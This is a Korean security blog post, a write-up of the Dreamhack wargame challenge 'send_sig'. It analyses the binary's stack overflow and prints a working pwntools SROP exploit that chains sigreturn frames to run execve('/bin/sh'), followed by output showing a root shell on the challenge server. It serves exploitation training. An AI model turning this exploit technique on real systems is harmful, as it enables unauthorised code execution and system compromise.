send_sig

2022. 8. 16. 15:26·Wargame/Dreamhack
728x90
반응형

1. intro

2. code 및 분석

2.1  code

이번 문제는 코드가 별도로 제공되지 않고, 문제 파일과 dockerfile만 제공된다.

그래서 IDA로 디스어셈블 해보았다.

void __noreturn start()
{
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 1, 0LL);
  write(1, "++++++++++++++++++Welcome to dreamhack++++++++++++++++++\n", 0x39uLL);
  write(1, "+ You can send a signal to dreamhack server.           +\n", 0x39uLL);
  write(1, "++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n", 0x39uLL);
  sub_4010B6();
  exit(0);
}

ssize_t sub_4010B6()
{
  char buf[8]; // [rsp+8h] [rbp-8h] BYREF

  write(1, "Signal:", 7uLL);
  return read(0, buf, 0x400uLL);
}

2.2 분석

lecture 문제의 내용과 크게 다르지 않다.

main 함수에서는 특정 문자열을 출력하고, sub_4010B6 함수를 콜 한다.

sub_4010B6 함수에서는 buf 변수가 8 byte 할당된 후, Signal: 문자열을 출력하고 read 함수로 0x400 byte 만큼 값을 받아들인다.

적용된 보안 기법은 아래와 같다.

┌──(kali㉿kali)-[~/Downloads]
└─$ checksec send_sig 
[*] '/home/kali/Downloads/send_sig'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

 

3. 취약점 확인 및 공격 준비

3.1 취약점

lecture와 동일하게 buffer overflow가 발생하며, system call을 할 수 있기 때문에 srop 취약점을 가지고 있다.

이 문제 또한 형식은 rop chainning이 가능할 것처럼 보이지만, 필요한 가젯을 찾을 수 없기 때문에 불가능할 것으로 보인다.

3.2 공격 준비

마찬가지로 전체적인 공격 시나리오는

read 함수가 한번만 쓰이므로 다시 한번 writable 영역에 read 할 수 있게 frame 작성 및 sigreturn system call
다시 read 시 execve 함수를 실행시킬 frame 작성 및 /bin/sh 문자열을 전달, sigreturn system call

이 된다.

 

우선 gadget을 찾아보면 아래와 같다.

┌──(kali㉿kali)-[~/Downloads]
└─$ ROPgadget --binary send_sig | grep syscall
0x00000000004010b0 : syscall
┌──(kali㉿kali)-[~/Downloads]
└─$ ROPgadget --binary send_sig | grep rax    
...
0x00000000004010ae : pop rax ; ret
...

유의할 점은 pop rax; syscall의 gadget이 없다는 점이다.

4. exploit

페이로드는 앞선 문제와 거의 동일하다.

다만 위에서 이야기한 것 처럼 pop rax; syscall의 gadget이 없기에 이를 추가하고, bss 영역의 /bin/sh 문자열의 거리를 다시 고려해야한다.

from pwn import *

p = remote('host3.dreamhack.games',20784)
#p = process('./send_sig')
e = context.binary = ELF('./send_sig')

syscall = next(e.search(asm('syscall')))
gadget = next(e.search(asm('pop rax; ret')))
bss = e.bss()

#for read again
srf = SigreturnFrame()
srf.rax = 0
srf.rsi = bss
srf.rdx = 0x1000
srf.rdi = 0
srf.rip = syscall
srf.rsp = bss

pay = b''
pay += b'A'*8 #for buf
pay += b'A'*8 #for sfp
pay += p64(gadget)
pay += p64(15)
pay += p64(syscall)
pay += bytes(srf)

p.sendlineafter('Signal:',pay)

#for execve(/bin/sh). don't need insert 0 to another arg. cus frame already have it.
srf2 = SigreturnFrame()
srf2.rip = syscall
srf2.rax = 0x3b #execve syscall nr
srf2.rsp = bss + 0x500
srf2.rdi = bss + 0x110 #lenth of pay2

pay2 = b''
pay2 += p64(gadget)
pay2 += p64(15)
pay2 += p64(syscall)
pay2 += bytes(srf2)
pay2 += b'/bin/sh\x00'

p.sendline(pay2)

p.interactive()

 

┌──(kali㉿kali)-[~/Downloads]
└─$ python a.py
[+] Opening connection to host3.dreamhack.games on port 20784: Done
[*] '/home/kali/Downloads/send_sig'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
/usr/local/lib/python3.10/dist-packages/pwnlib/tubes/tube.py:822: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  res = self.recvuntil(delim, timeout=timeout)
[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root) groups=0(root)
$ cat flag
$ ls
flag.txt
send_sig
$ cat flag.txt
DH{----------#플래그는 삭제}
728x90
반응형
저작자표시 비영리 변경금지 (새창열림)

'Wargame > Dreamhack' 카테고리의 다른 글

_IO_FILE Arbitrary Address Write  (0) 2022.08.16
_IO_FILE Arbitrary Address Read  (0) 2022.08.16
SigReturn-Oriented Programming  (0) 2022.08.15
rtld  (0) 2022.08.15
__environ  (0) 2022.08.15
'Wargame/Dreamhack' 카테고리의 다른 글
  • _IO_FILE Arbitrary Address Write
  • _IO_FILE Arbitrary Address Read
  • SigReturn-Oriented Programming
  • rtld
wyv3rn
wyv3rn
아저씨의 흔한 취미. wyv3rn#1249
  • wyv3rn
    think storage
    wyv3rn
  • 전체
    오늘
    어제
    • 분류 전체보기 (559)
      • To do list (0)
        • Doing (1)
        • Complete (6)
      • Diary (37)
      • Tips & theory (77)
      • Kernel Exploit (28)
        • Theory (16)
        • Exercise (5)
      • File Structure (6)
      • Wargame (352)
        • Dreamhack (183)
        • pwn.college (37)
        • pwnable.tw (0)
        • pwnable.kr (15)
        • Lord of Sqlinjection (4)
        • Cryptohack (20)
        • Root me (27)
        • CodeEngn (4)
        • Exploit Education (22)
        • ROP Emporium (8)
        • H4C (10)
        • Hackerchool (22)
      • CTF (50)
        • Solved (48)
        • Unsolved (2)
      • Script (0)
      • RubiyaLap (0)
  • 블로그 메뉴

    • 홈
    • 방명록
  • 링크

  • 공지사항

    • PWN wargame 모음 (및 느낀점)
    • 비공개 글들에 대해.
    • 뭐라도 하나 얻어가시길...
  • 인기 글

  • 태그

    dreamhack
    _IO_FILE
    32bit
    FSB
    Buffer Overflow
    ROOT ME
    exploit education
    la ctf
    root
    Format String Bug
    Me
    CANARY
    rop
    64bit
    docker
    BOF
    libc
    lob
    heap
    vtable
    pwnable.kr
    tcache
    root-me
    pwntools
    phoenix
    RTL
    cryptohack
    x86
    x64
    hackerschool
  • 최근 댓글

  • 최근 글

  • 250x250
    반응형
  • hELLO· Designed By정상우.v4.10.3
wyv3rn
send_sig
상단으로

티스토리툴바